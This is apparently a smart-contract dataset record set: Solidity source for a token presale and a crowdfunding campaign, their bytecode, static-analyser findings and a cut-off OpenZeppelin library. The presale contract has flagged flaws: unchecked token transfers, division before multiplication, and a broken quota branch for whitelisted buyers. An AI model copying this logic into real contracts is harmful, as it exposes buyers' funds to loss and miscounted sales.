private ONE_TOKEN = 1 ether; uint256 public presaleTimeEnds = block.timestamp.add(10 days); uint256 public totalTokenSold; uint8 TYPE_NORMAL = 0; uint8 TYPE_WHITELIST = 1; uint8 TYPE_PRIVATEMEMBER = 2; uint256 public WHITELISTING_SHARE = 6000000*10**18; uint256 public whitelistingSold = 0; uint256 public NORMAL_SALE_SHARE = 5000000*10**18; uint256 public normalSaleSold = 0; uint256 public PRIVATE_SALE_SHARE = 5000000*10**18; uint256 public privateSaleSold = 0; mapping (address => bool) public whitelist; mapping (address => bool) public privateMembersList; constructor(address _token ){ owner = msg.sender; token = IERC20(_token); } modifier IsOwner{ require(msg.sender == owner); _; } function addOrRemoveUserFromWhitelist(address user,bool isAdd) public{ require(msg.sender == owner,"You are not authorized"); whitelist[user] = isAdd; } function addOrRemoveUserFromPrivateSale(address user,bool isAdd) public{ require(msg.sender == owner,"You are not authorized"); privateMembersList[user] = isAdd; } // user will send the amount when they will buy the tokens adn contract will automatically calcluitate the number of tokens accordign to the amount user will send function buyToken() external payable { require(presaleTimeEnds> block.timestamp,"Presale Finished"); uint8 memberType = getMemberType(msg.sender); uint256 noOfTokens = calculateTokens(msg.value,memberType); if(memberType == TYPE_WHITELIST){ if(whitelistingSold.add(noOfTokens)<= WHITELISTING_SHARE){ whitelistingSold = whitelistingSold.add(noOfTokens); }else{ revert("Whitelist Sale Quota has finished"); } }if(memberType == TYPE_PRIVATEMEMBER){ if(privateSaleSold.add(noOfTokens)<= PRIVATE_SALE_SHARE){ privateSaleSold = privateSaleSold.add(noOfTokens); }else{ revert("PRIVATE Sale Quota has finished"); } }else{ if(normalSaleSold.add(noOfTokens)<= NORMAL_SALE_SHARE){ normalSaleSold = normalSaleSold.add(noOfTokens); }else{ revert("Normal Sale Quota has finished"); } } require(getTokenBalance()>= noOfTokens,"Contract has no balance"); token.transfer(msg.sender,noOfTokens); totalTokenSold = totalTokenSold.add(noOfTokens); } function getTotalPresaleAmount() public view returns(uint256){ return NORMAL_SALE_SHARE.add(WHITELISTING_SHARE).add(PRIVATE_SALE_SHARE); } function calculateTokens (uint256 amount,uint8 userType ) public view returns(uint256){ if(userType == TYPE_WHITELIST){ return amount.div(_whiteListPrice).mul(10**18); }else if(userType == TYPE_PRIVATEMEMBER){ return amount.div(_privatePrice).mul(10**18); } else{ return amount.div(_price).mul(10**18); } } function getMemberType(address user) public view returns (uint8) { uint8 userType = TYPE_NORMAL; if(whitelist[user] ==true){ userType = TYPE_WHITELIST; }else if(privateMembersList[user] ==true){ userType = TYPE_PRIVATEMEMBER; } return userType; } // this fucntion is used to check how many fokitos are remaining in the contract function getTokenBalance() public view returns(uint256){ return token.balanceOf(address(this)); } // this fucntion is used to check how many ethers are there in the contract function getContractBalance() public view returns(uint256){ return address(this).balance; } // use this fuction for withdrawing all the unsold tokens function withdrawTokens( ) public{ require(msg.sender == owner,"You are not the owner"); token.transfer(owner,getTokenBalance()); } // use this fuction for withdrawing all the ethers function withdrawBalance( ) public{ require(msg.sender == owner,"You are not the owner"); payable(msg.sender).transfer(getContractBalance()); } // you can extend or shrink the presale time function changePresaleEndTime(uint256 time) public{ require(msg.sender == owner,"You are not the owner"); presaleTimeEnds = time; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
0x6080604052600436106101815760003560e01c80638da5cb5b116100d1578063aa9b39341161008a578063e7d928e711610064578063e7d928e714610400578063fc0c546a14610416578063fc51b1a714610436578063ffc157771461045657600080fd5b8063aa9b3934146103be578063b5f7f636146103d4578063d2c94aef146103ea57600080fd5b80638da5cb5b146102d85780638e13effa1461031057806397ba38c4146103265780639b19251a146103465780639f713ed114610386578063a4821719146103b657600080fd5b8063612d60011161013e5780636faac510116101185780636faac510146102825780637fe22bb11461029857806382b2e257146102ae5780638d8f2adb146102c357600080fd5b8063612d60011461023957806367c310331461024f5780636f9fb98a1461026f57600080fd5b80630aca575a146101865780630f381fdd146101ae578063235b6ea1146101e0578063447d01ad146101f657806357c90b3b1461020c5780635fd8c71014610222575b600080fd5b34801561019257600080fd5b5061019b610476565b6040519081526020015b60405180910390f35b3480156101ba57600080fd5b506101ce6101c9366004610cdf565b6104a0565b60405160ff90911681526020016101a5565b3480156101ec57600080fd5b5061019b60025481565b34801561020257600080fd5b5061019b60065481565b34801561021857600080fd5b5061019b60035481565b34801561022e57600080fd5b5061023761051a565b005b34801561024557600080fd5b5061019b600c5481565b34801561025b57600080fd5b5061023761026a366004610cf9565b61057c565b34801561027b57600080fd5b504761019b565b34801561028e57600080fd5b5061019b600b5481565b3480156102a457600080fd5b5061019b600e5481565b3480156102ba57600080fd5b5061019b6105fa565b3480156102cf57600080fd5b50610237610676565b3480156102e457600080fd5b506000546102f8906001600160a01b031681565b6040516001600160a01b0390911681526020016101a5565b34801561031c57600080fd5b5061019b60045481565b34801561033257600080fd5b50610237610341366004610cf9565b61073f565b34801561035257600080fd5b50610376610361366004610cdf565b600f6020526000908152604090205460ff1681565b60405190151581526020016101a5565b34801561039257600080fd5b506103766103a1366004610cdf565b60106020526000908152604090205460ff1681565b6102376107bd565b3480156103ca57600080fd5b5061019b600d5481565b3480156103e057600080fd5b5061019b60075481565b3480156103f657600080fd5b5061019b600a5481565b34801561040c57600080fd5b5061019b60095481565b34801561042257600080fd5b506001546102f8906001600160a01b031681565b34801561044257600080fd5b5061019b610451366004610d7b565b610a98565b34801561046257600080fd5b50610237610471366004610d4b565b610b36565b600061049b600d54610495600954600b54610b6590919063ffffffff16565b90610b65565b905090565b6008546001600160a01b0382166000908152600f6020526040812054909160ff90811691161515600114156104e05750600854610100900460ff16610514565b6001600160a01b03831660009081526010602052604090205460ff16151560011415610514575060085462010000900460ff165b92915050565b6000546001600160a01b0316331461054d5760405162461bcd60e51b815260040161054490610df7565b60405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610579573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105cf5760405162461bcd60e51b8152602060048201526016602482015275165bdd48185c99481b9bdd08185d5d1a1bdc9a5e995960521b6044820152606401610544565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6001546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561063e57600080fd5b505afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049b9190610d63565b6000546001600160a01b031633146106a05760405162461bcd60e51b815260040161054490610df7565b6001546000546001600160a01b039182169163a9059cbb91166106c16105fa565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561070757600080fd5b505af115801561071b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105799190610d2f565b6000546001600160a01b031633146107925760405162461bcd60e51b8152602060048201526016602482015275165bdd48185c99481b9bdd08185d5d1a1bdc9a5e995960521b6044820152606401610544565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b42600654116108015760405162461bcd60e51b815260206004820152601060248201526f141c995cd85b1948119a5b9a5cda195960821b6044820152606401610544565b600061080c336104a0565b9050600061081a3483610a98565b60085490915060ff8381166101009092041614156108ae57600954600a546108429083610b65565b1161085c57600a546108549082610b65565b600a556108ae565b60405162461bcd60e51b815260206004820152602160248201527f57686974656c6973742053616c652051756f7461206861732066696e697368656044820152601960fa1b6064820152608401610544565b60085460ff8381166201000090920416141561093657600d54600e546108d49083610b65565b116108ee57600e546108e69082610b65565b600e556109a8565b60405162461bcd60e51b815260206004820152601f60248201527f505249564154452053616c652051756f7461206861732066696e6973686564006044820152606401610544565b600b54600c546109469083610b65565b1161096057600c546109589082610b65565b600c556109a8565b60405162461bcd60e51b815260206004820152601e60248201527f4e6f726d616c2053616c652051756f7461206861732066696e697368656400006044820152606401610544565b806109b16105fa565b10156109ff5760405162461bcd60e51b815260206004820152601760248201527f436f6e747261637420686173206e6f2062616c616e63650000000000000000006044820152606401610544565b60015460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b158015610a4b57600080fd5b505af1158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a839190610d2f565b50600754610a919082610b65565b6007555050565b60085460009060ff838116610100909204161415610ade57610ad7670de0b6b3a7640000610ad160045486610bcb90919063ffffffff16565b90610c0d565b9050610514565b60085460ff83811662010000909204161415610b1557610ad7670de0b6b3a7640000610ad160035486610bcb90919063ffffffff16565b610ad7670de0b6b3a7640000610ad160025486610bcb90919063ffffffff16565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161054490610df7565b600655565b600080610b728385610e26565b905083811015610bc45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610544565b9392505050565b6000610bc483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8c565b600082610c1c57506000610514565b6000610c288385610e5e565b905082610c358583610e3e565b14610bc45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610544565b60008183610cad5760405162461bcd60e51b81526004016105449190610da4565b506000610cba8486610e3e565b95945050505050565b80356001600160a01b0381168114610cda57600080fd5b919050565b600060208284031215610cf0578081fd5b610bc482610cc3565b60008060408385031215610d0b578081fd5b610d1483610cc3565b91506020830135610d2481610e93565b809150509250929050565b600060208284031215610d40578081fd5b8151610bc481610e93565b600060208284031215610d5c578081fd5b5035919050565b600060208284031215610d74578081fd5b5051919050565b60008060408385031215610d8d578182fd5b82359150602083013560ff81168114610d24578182fd5b6000602080835283518082850152825b81811015610dd057858101830151858201604001528201610db4565b81811115610de15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601590820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604082015260600190565b60008219821115610e3957610e39610e7d565b500190565b600082610e5957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610e7857610e78610e7d565b500290565b634e487b7160e01b600052601160045260246000fd5b801515811461057957600080fdfea2646970667358221220506b54f40f20d2f89f633f3cc83494791336bdcc8adaf65a21ad64e847f41b1164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,357
0xa82439767E96a9CBd44D4dFF2c2800F50cff4296
/** ██╗ ██╗██████╗ ███████╗███╗ ███╗ █████╗ ██████╗ ████████╗ ██████╗ ██████╗ ███╗ ██╗████████╗██████╗ █████╗ ██████╗████████╗███████╗ ██████╗ ██████╗ ███╗ ███╗ ██║ ██║██╔══██╗██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██╔═══██╗████╗ ██║╚══██╔══╝██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔════╝██╔═══██╗████╗ ████║ ██║ █╗ ██║██████╔╝███████╗██╔████╔██║███████║██████╔╝ ██║ ██║ ██║ ██║██╔██╗ ██║ ██║ ██████╔╝███████║██║ ██║ ███████╗ ██║ ██║ ██║██╔████╔██║ ██║███╗██║██╔═══╝ ╚════██║██║╚██╔╝██║██╔══██║██╔══██╗ ██║ ██║ ██║ ██║██║╚██╗██║ ██║ ██╔══██╗██╔══██║██║ ██║ ╚════██║ ██║ ██║ ██║██║╚██╔╝██║ ╚███╔███╔╝██║ ███████║██║ ╚═╝ ██║██║ ██║██║ ██║ ██║ ╚██████╗╚██████╔╝██║ ╚████║ ██║ ██║ ██║██║ ██║╚██████╗ ██║ ███████║██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║ ╚══╝╚══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ Blockhain Made Easy https://wpsmartcontracts.com/ */ pragma solidity ^0.5.7; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * * WPSmartContracts / Campaign Contract * * Contribution campaigns including the ability to approve the transfer of funds per request * */ contract CampaignMango { using SafeMath for uint256; // this is a struct definition, that needs to be instantiated to be used... like classes. struct Request { string description; uint256 value; address payable recipient; bool complete; uint256 approvalCount; mapping(address => bool) approvals; } Request[] public requests; // this is the instance of the struct, like an array of Request address public manager; // the owner uint256 minimumContribution; // the... minimum contribution /* a factor to calculate minimum number of approvers by 100/factor the factor values are 2 and 10, factors that makes sense: 2: meaning that the number or approvers required will be 50% 3: 33.3% 4: 25% 5: 20% 10: 10% */ uint8 approversFactor; mapping(address => bool) public approvers; uint256 public approversCount; // a modifier of functions to add validation of the manager to run any function modifier restricted() { require(msg.sender == manager); _; } // Constructor function to create a Campaign constructor(address creator, uint256 minimum, uint8 factor) public { // validate factor number betweeb 2 and 10 require(factor >= 2); require(factor <= 10); manager = creator; approversFactor = factor; minimumContribution = minimum; } // allows a contributor to contribute function contribute() public payable { // validate minimun contribution require(msg.value >= minimumContribution); // approvers.push(msg.sender); // array was changed to mappings approvers[msg.sender] = true; // this maps this address with true // increment the number of approvers approversCount++; } // create a request... function createRequest(string memory description, uint256 value, address payable recipient) public restricted { // create the struct, specifying memory as a holder Request memory newRequest = Request({ description: description, value: value, recipient: recipient, complete: false, approvalCount: 0 }); requests.push(newRequest); } // contributors has the right to approve request function approveRequest(uint256 index) public { // this is to store in a local variable "request" the request[index] and avoid using it all the time // storage means that we want the same copy inside of storage?, WTF? // Request means to a Request struct defined at the beginning Request storage request = requests[index]; // if will require that the sender address is in the mapping of approvers // if not will exit the function inmediatly require(approvers[msg.sender]); // it will require the contributor not to vote twice for the same request require(!request.approvals[msg.sender]); // add the voter to the approvals map request.approvals[msg.sender] = true; // increment the number of YES votes for the request request.approvalCount++; } // send the money to the vendor y there are enough votes // restricted means that only the creator is allowed to run this function function finalizeRequest(uint256 index) public restricted { // this is to store in a local variable "request" the request[index] and avoid using it all the time // storage means that we want the same copy inside of storage?, WTF? // Request means to a Request struct defined at the beginning Request storage request = requests[index]; // transfer the money if it has more than X% of approvals require(request.approvalCount >= approversCount.div(approversFactor)); // we will require that the request in process is not completed yet require(!request.complete); // mark the request as completed request.complete = true; // transfer the money requested (value) from the contract to the vendor that created the request request.recipient.transfer(request.value); } // helper function to show basic info of a contract in the interface function getSummary() public view returns ( uint256, uint256, uint256, uint256, address ) { return ( minimumContribution, address(this).balance, requests.length, approversCount, manager ); } // for looping? function getRequestsCount() public view returns (uint256) { return requests.length; } }
0x6080604052600436106100915760003560e01c806381d12c581161005957806381d12c581461022f57806382fde0931461032f5780638a9cfd551461035a578063d7bb99ba1461044c578063d7d1bbdb1461045657610091565b806303441006146100965780630a144391146100d15780633410452a1461013a5780634051ddac14610165578063481c6a75146101d8575b600080fd5b3480156100a257600080fd5b506100cf600480360360208110156100b957600080fd5b8101908080359060200190929190505050610491565b005b3480156100dd57600080fd5b50610120600480360360208110156100f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105ec565b604051808215151515815260200191505060405180910390f35b34801561014657600080fd5b5061014f61060c565b6040518082815260200191505060405180910390f35b34801561017157600080fd5b5061017a610618565b604051808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b3480156101e457600080fd5b506101ed610678565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023b57600080fd5b506102686004803603602081101561025257600080fd5b810190808035906020019092919050505061069e565b60405180806020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184151515158152602001838152602001828103825287818151815260200191508051906020019080838360005b838110156102f05780820151818401526020810190506102d5565b50505050905090810190601f16801561031d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561033b57600080fd5b506103446107a6565b6040518082815260200191505060405180910390f35b34801561036657600080fd5b5061044a6004803603606081101561037d57600080fd5b810190808035906020019064010000000081111561039a57600080fd5b8201836020820111156103ac57600080fd5b803590602001918460018302840111640100000000831117156103ce57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ac565b005b610454610920565b005b34801561046257600080fd5b5061048f6004803603602081101561047957600080fd5b810190808035906020019092919050505061099b565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104eb57600080fd5b60008082815481106104f957fe5b90600052602060002090600502019050610530600360009054906101000a900460ff1660ff16600554610ada90919063ffffffff16565b8160030154101561054057600080fd5b8060020160149054906101000a900460ff161561055c57600080fd5b60018160020160146101000a81548160ff0219169083151502179055508060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82600101549081150290604051600060405180830381858888f193505050501580156105e7573d6000803e3d6000fd5b505050565b60046020528060005260406000206000915054906101000a900460ff1681565b60008080549050905090565b60008060008060006002543073ffffffffffffffffffffffffffffffffffffffff1631600080549050600554600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16945094509450945094509091929394565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081815481106106ab57fe5b9060005260206000209060050201600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107575780601f1061072c57610100808354040283529160200191610757565b820191906000526020600020905b81548152906001019060200180831161073a57829003601f168201915b5050505050908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160149054906101000a900460ff16908060030154905085565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080657600080fd5b61080e610b00565b6040518060a001604052808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020016000151581526020016000815250905060008190806001815401808255809150509060018203906000526020600020906005020160009091929091909150600082015181600001908051906020019061089b929190610b47565b506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160020160146101000a81548160ff0219169083151502179055506080820151816003015550505050505050565b60025434101561092f57600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600560008154809291906001019190505550565b60008082815481106109a957fe5b90600052602060002090600502019050600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a0f57600080fd5b8060040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a6857600080fd5b60018160040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600301600081548092919060010191905055505050565b6000808211610ae857600080fd5b6000828481610af357fe5b0490508091505092915050565b6040518060a001604052806060815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600015158152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610b8857805160ff1916838001178555610bb6565b82800160010185558215610bb6579182015b82811115610bb5578251825591602001919060010190610b9a565b5b509050610bc39190610bc7565b5090565b610be991905b80821115610be5576000816000905550600101610bcd565b5090565b9056fea165627a7a723058209e71e51bc4d9c3e71c03eca85170a933da756af6c26df5aa02ad8e69881e4a030029
{"success": true, "error": null, "results": {}}
8,358
0x14d2F529576d3a5451BfbA370408a899Bb5261a9
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, 